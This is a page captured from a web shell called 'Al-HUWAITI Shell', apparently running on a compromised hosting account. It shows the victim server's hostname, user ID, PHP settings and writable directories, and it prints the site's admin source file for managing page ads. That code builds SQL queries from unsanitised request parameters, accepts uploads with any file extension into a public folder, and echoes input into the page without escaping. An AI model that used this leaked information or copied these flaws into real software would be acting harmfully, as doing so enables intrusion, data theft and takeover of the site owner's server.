Al-HUWAITI Shell
Al-huwaiti


Server : LiteSpeed
System : Linux nl-srv-web1396.main-hosting.eu 4.18.0-553.83.1.lve.el8.x86_64 #1 SMP Wed Nov 12 10:04:12 UTC 2025 x86_64
User : u107206879 ( 107206879)
PHP Version : 7.2.34
Disable Function : NONE
Directory :  /home/u107206879/domains/escort46.de/public_html/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/u107206879/domains/escort46.de/public_html/admin/page_ads_add.php
<?php
$error = "";
$message = "";
include "db_connection.php";
include "sessioncheck.php";

if (!empty($_GET['rowset'])) {
    $rowset = $_GET['rowset'];
} else {
    $rowset = md5(uniqid(rand(), true));
}

if (!empty($_GET['page_id'])) {
    $page_id = $_GET['page_id'];
} else {
    $page_id = "";
}

if (!empty($_GET['item_id'])) {
    $subset = $_GET['item_id'];
} else {
    $subset = md5(uniqid(rand(), true));
}

if (!empty($page_id)) {
    if (!empty($_POST["Process"]) && trim($_POST["Process"]) == "AddNow") {
        if (!empty($_POST["link"]) && count($_POST["link"]) > 0) {
            //$query = "delete from `page_ads` where rowset='".$_POST["rowset"]."'";
            //$result=mysqli_query($connection,$query);			
            foreach ($_POST["link"] as $key => $row_link) {
                if (!empty($row_link)) {
                    $page_id = implode(",", $_POST['page_id']);
                    $ad_device = lcfirst(test_input($_POST['ad_device'][$key]));
                    if ($ad_device == "background") {
                        $ad_device = "desktop";
                        $ad_placement = "background";
                    } else {
                        $ad_placement = test_input($_POST['ad_placement'][$key]);
                    }
                    $link = $row_link;
                    $img_title = test_input($_POST["img_title"][$key]);
                    $active = test_input($_POST['active'][$key]);
                    $mode = test_input($_POST['mode']);
                    $banner_code = (!empty($_POST["banner_code"][$key])) ? $_POST["banner_code"][$key] : 0;
                    #add the code 
                    if (!empty($_FILES["image_name"]["name"][$key])) {
                        #upload image code
                        $tmp_name = $_FILES['image_name']['tmp_name'][$key];
                        $path = "../bg_images/";
                        $name = $_FILES['image_name']['name'][$key];
                        $size = $_FILES['image_name']['size'][$key];
                        $type = $_FILES['image_name']['type'][$key];
                        $ext = strtolower(substr($name, strrpos($name, '.') + 1));
                        $name = time() . "_" . rand(0, 999999) . "." . $ext;
                        $target_file = $path . $name;
                        move_uploaded_file($_FILES["image_name"]["tmp_name"][$key], $target_file);
                        $image_name = $name;
                    } else {
                        $image_name = !empty($_POST['old_image'][$key]) ? $_POST['old_image'][$key] : "";
                    }

                    if ($mode == "add") {
                        #insert
                        $query = "INSERT INTO `page_ads` (`id`, `page_id`, `banner_code`, `link`, `image_name`, `img_alt`, `img_title`, `ad_placement`, `ad_device`, `active`, `rowset`, `subset`) VALUES (NULL, '" . ($page_id) . "', '" . addslashes($banner_code) . "', '" . addslashes($link) . "', '" . addslashes($image_name) . "', '" . addslashes($img_title) . "', '" . addslashes($img_title) . "', '" . addslashes($ad_placement) . "', '" . addslashes($ad_device) . "','" . addslashes($active) . "', '" . $_POST['rowset'] . "', '" . $_POST['subset'] . "')";
                        $message = "Data addded successfully";
                    } else {
                        #insert
                        $query = "update `page_ads` set 
							`page_id`='" . addslashes($page_id) . "',
							`banner_code`='" . addslashes($banner_code) . "',
							`link`='" . addslashes($link) . "',
							`link`='" . addslashes($link) . "',
							`image_name`='" . addslashes($image_name) . "',
							`img_alt`='" . addslashes($img_title) . "',
							`img_title`='" . addslashes($img_title) . "',
							`ad_placement`='" . addslashes($ad_placement) . "',
							`ad_device`='" . addslashes($ad_device) . "',
							`active`='" . addslashes($active) . "',
							`rowset`='" . $_POST['rowset'] . "',
							`subset`='" . $_POST['subset'] . "'
							where id='" . $_POST["ids"][$key] . "'";
                        $message = "Data updated successfully";
                    }
                    $result = mysqli_query($connection, $query);
                } //if(!empty($post_file))		
            } //foreach($_POST["row_add"] as $post_file)			 	
        }
    }
}
$ad_device_array = array("background", "desktop", "mobile", "tablet");
$type_array = array("bottom", "top");
/*echo "<li>".$rowset;
print_r($_POST);
print_r($_GET);
exit;*/
?>
<!-- Header Start-->
<?php include("header.php"); ?>
<nav class=" navbar navbar-expand navbar-white navbar-light">
    <ul class="navbar-nav">
        <li class="nav-item">
            <a class="nav-link" data-widget="pushmenu" href="#">
                <i class="fa fa-bars" style="color:white;"></i>
            </a>
        </li>
    </ul>
    <div>
        <ol class="breadcrumb float-sm-right">
            <li class="breadcrumb-item ">Page Ads</li>
            <li class="breadcrumb-item">Manage</li>
        </ol>
    </div>
</nav>
<!-- Header Ends-->
<style>
    .tablet,
    .mobile,
    .desktop {
        display: none;
    }

    .background {
        display: block;
    }
</style>
<!-- Content Start-->

<section class="content">
    <div class="container-fluid">
        <div class="row">
            <div class="col-12">
                <div class="card">
                    <!-- /.card-header -->
                    <div class="card-body">
                        <!-- Flash Message -->
                        <?php if ($message) : ?><div class="alert alert-info" role="alert"><?php echo $message; ?></div><?php endif; ?>
                        <!-- Flash Message -->
                        <!-- Error Message -->
                        <?php if (!empty($error)) : ?><div class="alert alert-info" role="alert" style="color:#FF0000;"><?php echo $error; ?></div><?php endif; ?>
                        <!-- Error Message -->
                        <form method="post" action="" enctype="multipart/form-data">
                            <input type="hidden" id="rowset" name="rowset" value="<?= $rowset ?>" />

                            <?php if (!empty($_GET["item_id"])) { ?>
                                <input type="hidden" id="subset" name="subset" value="<?= $_GET["item_id"] ?>" />
                            <?php } else { ?>
                                <input type="hidden" id="subset" name="subset" value="<?= $subset ?>" />
                            <?php }  ?>

                            <div class="form-group">
                                <label for="file_name">Select Page</label>
                                <?php $pageQuery = mysqli_query($connection, "SELECT *  FROM page ORDER BY page_id DESC"); ?>
                                <?php
                                $st = array();
                                if (!empty($_GET['page_id'])) {
                                    $st = explode(",", $_GET['page_id']);
                                }
                                //echo "<pre>";print_r($st);exit;
                                ?>
                                <select class="form-control input_border_radius input-sm" name="page_id[]" id="page_id" required multiple="multiple">

                                    <option value="" <?= ($_GET['page_id'] == "") ? 'selected' : '' ?>>Select</option>
                                    <option value="all" <?= ($_GET['page_id'] == "all") ? 'selected' : '' ?>>All</option>
                                    <?php while ($pageData = mysqli_fetch_assoc($pageQuery)) {     ?>
                                        <option value="<?= $pageData['page_id'] ?>" <?= in_array($pageData['page_id'], $st) ? "selected" : ""; ?>><?= $pageData['page_id'] ?> - <?= $pageData['page'] ?></option>
                                    <?php    }     ?>
                                </select>
                            </div>
                            <?php if (empty($_GET["btn"])) { ?>
                                <div class="form-group">
                                    <button type="button" class="btn btn-info" onclick="change_url()" style="margin-left:5px;">Go</button>
                                </div>
                            <?php } ?>

                            <?php if (!empty($_GET["page_id"])) {
                                if (!empty($_GET["item_id"])) {
                                } else {
                                    $_GET["item_id"] = "";
                                }

                                #Check total entry for this page_id
                                $shailsget = mysqli_query($connection, "SELECT * FROM page_ads where subset='" . $_GET["item_id"] . "' ORDER BY page_id DESC");
                                $rowcount = mysqli_num_rows($shailsget);
                                $shailsget = mysqli_fetch_assoc($shailsget);

                                if ($rowcount == 0) {
                                    $mode = "add";
                                } else {
                                    $mode = "update";
                                }
                            ?>
                                <input type="hidden" name="mode" id="mode" value="<?= $mode ?>" />
                                <?php
                                $k = 1;

                                foreach ($ad_device_array as $key_ad_device => $val_ad_device) {
                                    $shailQuery = "";
                                    if ($val_ad_device == "background") {
                                        $shailQuery = mysqli_query($connection, "SELECT *  FROM page_ads where subset='" . $_GET["item_id"] . "' and ad_placement='background' and ad_device='desktop'   limit 1");
                                    } else {
                                        $shailQuery = mysqli_query($connection, "SELECT *  FROM page_ads where subset='" . $_GET["item_id"] . "' and ad_placement!='background' and ad_device='$val_ad_device'   limit 1");
                                    }
                                    $shailData = mysqli_fetch_assoc($shailQuery);
                                    //echo "<pre>";print_r($shailData["image_name"]);

                                    $display  = "none";
                                    $show_ad_placement = "none";
                                    if ($rowcount == 0) {

                                        if ($val_ad_device == "desktop" || $val_ad_device == "tablet" || $val_ad_device == "mobile") {
                                            $display  = "block";
                                            $show_ad_placement = "block";
                                        }
                                    } else {
                                        if ($val_ad_device == "background" && $shailData["ad_placement"] == "background" && $shailData["ad_device"] == "desktop") {
                                            $display  = "block";
                                            $show_ad_placement = "none";
                                        } elseif ($val_ad_device == "desktop" && $shailData["ad_placement"] != "background" && $shailData["ad_device"] == "desktop") {
                                            $display  = "block";
                                            $show_ad_placement = "block";
                                        } elseif ($val_ad_device == "mobile" && $shailData["ad_device"] == "mobile") {
                                            $display  = "block";
                                            $show_ad_placement = "block";
                                        } elseif ($val_ad_device == "tablet" && $shailData["ad_device"] == "tablet") {
                                            $display  = "block";
                                            $show_ad_placement = "block";
                                        }
                                    }
                                ?>
                                    <div class="row <?php echo $val_ad_device; ?>" <?php if (!empty($_GET["page_id"])) { ?> style="display:<?= $display ?>" <?php } ?>>

                                        <input type="hidden" name="ids[]" id="id_<?= $k ?>" value="<?php if (!empty($shailData["id"])) {
                                                                                                        echo $shailData["id"];
                                                                                                    } else {
                                                                                                        echo "";
                                                                                                    } ?>" />



                                        <div class="form-group form-check-inline">
                                            <input type="text" class="form-control" id="ad_device_<?= $k ?>" name="ad_device[]" value="<?php echo $val_ad_device; ?>" readonly="true" <?php if ($val_ad_device != "background") { ?> style="width:80px;" <?php } else { ?> style="width:100px;" <?php  } ?>>
                                        </div>

                                        <div class="form-group form-check-inline">
                                            <select class="form-control ad_placementb" title="Select Position" id="ad_placement_<?= $k ?>" name="ad_placement[]" style="display:<?= $show_ad_placement ?>;">

                                                <option value="top" <?php if (!empty($shailData["ad_placement"]) && trim($shailData["ad_placement"]) == "top") { ?> selected="selected" <?php } ?>> Top </option>
                                                <option value="bottom" <?php if (!empty($shailData["ad_placement"]) && trim($shailData["ad_placement"]) == "bottom") { ?> selected="selected" <?php } ?>> Bottom </option>

                                            </select>
                                        </div>

                                        <div class="form-group form-check-inline">
                                            <textarea title="Link" alt="Link" class="form-control message_outgoing_link_<?php echo $val_ad_device; ?>" id="link_<?= $k ?>" cols="40" name="link[]" placeholder="Link"><?php if (!empty($shailData["link"])) {
                                                                                                                                                                                                                            echo $shailData["link"];
                                                                                                                                                                                                                        } ?></textarea>
                                        </div>
                                        <div class="form-group form-check-inline">
                                            <select class="form-control" title="Banner Code" id="banner_code_<?= $k ?>" name="banner_code[]">
                                                <option value="0" <?php if (isset($shailData["banner_code"]) && trim($shailData["banner_code"]) == "0") { ?> selected="selected" <?php } ?>>Image</option>
                                                <option value="1" <?php if (isset($shailData["banner_code"]) && trim($shailData["banner_code"]) == "1") { ?> selected="selected" <?php } ?>>Code</option>
                                            </select>
                                        </div>

                                        <div class="form-group form-check-inline">
                                            <input type="text" title="Image Title" alt="Image Title" class="form-control img_title_<?php echo $val_ad_device; ?>" id="img_title_<?= $k ?>" name="img_title[]" placeholder="Title" value="<?php if (!empty($shailData["img_title"])) {
                                                                                                                                                                                                                                                echo $shailData["img_title"];
                                                                                                                                                                                                                                            } ?>">
                                        </div>

                                        <div class="form-group form-check-inline">
                                            <input title="Image" alt="Image" name="image_name[]" id="image_name_<?= $k ?>" type="file" placeholder="Upload Image" value="Upload Image">
                                        </div>


                                        <input type="hidden" name="old_image[]" id="old_image" value="<?php if (!empty($shailData["image_name"])) {
                                                                                                            echo $shailData['image_name'];
                                                                                                        } else {
                                                                                                            echo "";
                                                                                                        } ?>" />
                                        <?php if (!empty($shailData["image_name"])) { ?>
                                            <div class="form-group form-check-inline">
                                                <img src="<?= MAIN_URL ?>/bg_images/<?= $shailData['image_name'] ?>" width="60px;" />
                                            </div>
                                        <?php  } ?>


                                        <div class="form-group form-check-inline">
                                            <select class="form-control" title="Select Link Active" id="active_<?= $k ?>" name="active[]">
                                                <option value="1" <?php if (isset($shailData["active"]) && trim($shailData["active"]) == "1") { ?> selected="selected" <?php } ?>>Active</option>
                                                <option value="0" <?php if (isset($shailData["active"]) && trim($shailData["active"]) == "0") { ?> selected="selected" <?php } ?>>Inactive</option>
                                            </select>
                                        </div>
                                    </div>






                                <?php $k++;
                                } ?>
                                <div class="row">
                                    <div class="form-group form-check-inline">
                                        <button type="submit" class="btn btn-primary">
                                            <?php if ($mode == "add") { ?>Add Page Banner<?php } else { ?>Edit Page banner <?php } ?>

                                        </button>
                                        <input type="hidden" name="Process" id="Process" value="AddNow" />
                                    </div>

                                    <div class="form-group form-check-inline" style="display:none;">
                                        <button type="button" value="Multi Device" class="btn btn-primary show_device" title="Click to show all device">Background</button>
                                    </div>

                                    <?php if (!empty($_GET["page_id"])) { ?>

                                        <div class="form-group form-check-inline">
                                            <button type="button" class="btn btn-primary" title="Reset Ad Id" onClick="change_url('<?= $_GET["page_id"] ?>')">RESET</button>

                                        <?php } ?>
                                        </div>
                                </div>






                            <?php } ?>




                        </form>

                        <?php if (!empty($_GET["page_id"])) {
                            $query = "SELECT* from page_ads WHERE rowset ='" . $rowset . "' group by subset";
                            $sql = mysqli_query($connection, $query);
                            $data = array();
                            if (mysqli_num_rows($sql) > 0) { ?>
                                <hr />
                                <table id="ads_table" class="table table-bordered table-striped text-nowrap" width="100%">
                                    <thead>
                                        <tr>
                                            <!--<th>ID</th>-->
                                            <th>Device</th>
                                            <th>Placement</th>
                                            <th>Link</th>
                                            <th>Title</th>
                                            <th>Image</th>
                                            <th>Status</th>
                                            <th>Action</th>
                                        </tr>
                                    </thead>
                                    <tbody>

                                        <?php while ($record = mysqli_fetch_assoc($sql)) { ?>
                                            <tr>
                                                <!--<td><?= $record["id"] ?></td>-->
                                                <td>
                                                    <?php if ($record['ad_placement'] == "background") {
                                                        echo "Background";
                                                    } else {
                                                        echo "Multi";
                                                    } ?>
                                                </td>
                                                <td><?= $record["ad_placement"] ?></td>
                                                <td>
                                                    <?php if ($record["banner_code"] == 1) { ?>
                                                        Banner
                                                    <?php } else { ?>
                                                        <a class="search_link" href=<?= $record['link'] ?> target="_blank" title="<?= $record['link'] ?>" alt="<?= $record['link'] ?>"><?= substr($record['link'], 0, 60) ?>...</a>
                                                    <?php } ?>
                                                </td>
                                                <td><?= $record["img_title"] ?></td>
                                                <td>
                                                    <?php if (!empty($record['image_name'])) { ?>
                                                        <a class="image_popup" href="<?= MAIN_URL ?>/bg_images/<?= $record['image_name'] ?>" target="_blank" title="<?= $record['img_title'] ?>" alt="<?= $record['img_title'] ?>"><img class="img-fluid" width="80px;" src="<?= MAIN_URL ?>/bg_images/<?= $record['image_name'] ?>"></a>
                                                    <?php } ?>
                                                </td>
                                                <td>
                                                    <?php if ($record['active'] == "1") {
                                                        echo "Active";
                                                    } else {
                                                        echo "Inactive";
                                                    } ?>
                                                </td>
                                                <td>
                                                    <a href='page_ads_add.php?page_id=<?= $record['page_id'] ?>&rowset=<?= $record['rowset'] ?>&item_id=<?= $record['subset'] ?>' class='edit_user btn menu-icon vd_bg-yellow' title='Edit Banner'><i class='fa fa-edit fa-lg'></i></a>

                                                    <button id='delete_user_<?= $record['subset'] ?>' type='button' class='btn menu-icon vd_bg-red delete_user' data-id='<?= $record['subset'] ?>' title='Delete Banner'><i class='fa fa-trash fa-lg'></i></button>
                                                </td>
                                            </tr>
                                        <?php } //while 
                                        ?>
                                </table>
                            <?php }  ?>
                        <?php  } ?>
                    </div>
                    <!-- /.card-body -->
                </div>
                <!-- /.card -->
            </div>
        </div>
        <!-- /.row (main row) -->
    </div><!-- /.container-fluid -->
</section>
<!-- Content Ends-->
<script type="text/javascript">
    function change_url() {
        //alert($('.ssh').val());
        var page_id = $("#page_id").val();
        var selectedValuesString = page_id.join(",");
        var rowset = $("#rowset").val();
        window.location = "<?php echo MAIN_URL ?>/admin/page_ads_add?btn=hide&page_id=" + selectedValuesString + "&rowset=" + rowset;
    }

    $(document.body).on('click', '.delete_user', function(e) {
        if (confirm("Are you sure!") == true) {} else {
            return false;
        }
        var crud = 'delete';
        var val = $(this).data("id");
        //alert(val);return false;
        $.ajax({
            url: 'service/delete_page_ads_item',
            type: 'post',
            data: {
                crud: crud,
                value: val
            },
            success: function(data) {
                if (data == '1') {
                    $(".modal-backdrop").remove();
                    $('#delete_user_' + val).closest("tr").remove();
                    //window.location.href = window.location.href;	
                }
            }
        });
        $('.btn-confirm-delete').unbind();
    });
    /*$(document.body).on('click', '.delete_user', function(e){
    	$(".btn-confirm-delete").attr("data-id",$(this).data('id'));
    	$('.delete_user').unbind();
    });*/

    //.tablet, .mobile, .desktop	
    $(document.body).on('click', '.show_device', function(e) {

        if ($('.background').css('display') == 'block') {
            $('.background').css("display", "none");

            $('.tablet').css("display", "block");
            $('.mobile').css("display", "block");
            $('.desktop').css("display", "block");
            $('.ad_placementb').css("display", "block");
            $('.show_device').text("Background");

        } else {
            $('.background').css("display", "block");

            $('.tablet').css("display", "none");
            $('.mobile').css("display", "none");
            $('.desktop').css("display", "none");
            $('.ad_placementb').css("display", "none");



            $('.show_device').text("Multi");
        }




    });



    $('#add-page_ads-link-form').submit(function() {
        if ($('.background').css('display') == 'none') {
            $(".message_outgoing_link_all").val("");
        }
        if ($('.tablet').css('display') == 'none') {
            $(".message_outgoing_link_tablet").val("");
        }
        if ($('.mobile').css('display') == 'none') {
            $(".message_outgoing_link_mobile").val("");
        }
        if ($('.desktop').css('display') == 'none') {
            $(".message_outgoing_link_desktop").val("");
        }
        return true;
    });
</script>
<!-- Footer Start-->
<?php include("footer.php"); ?>
<!-- Footer Ends-->

Al-HUWAITI Shell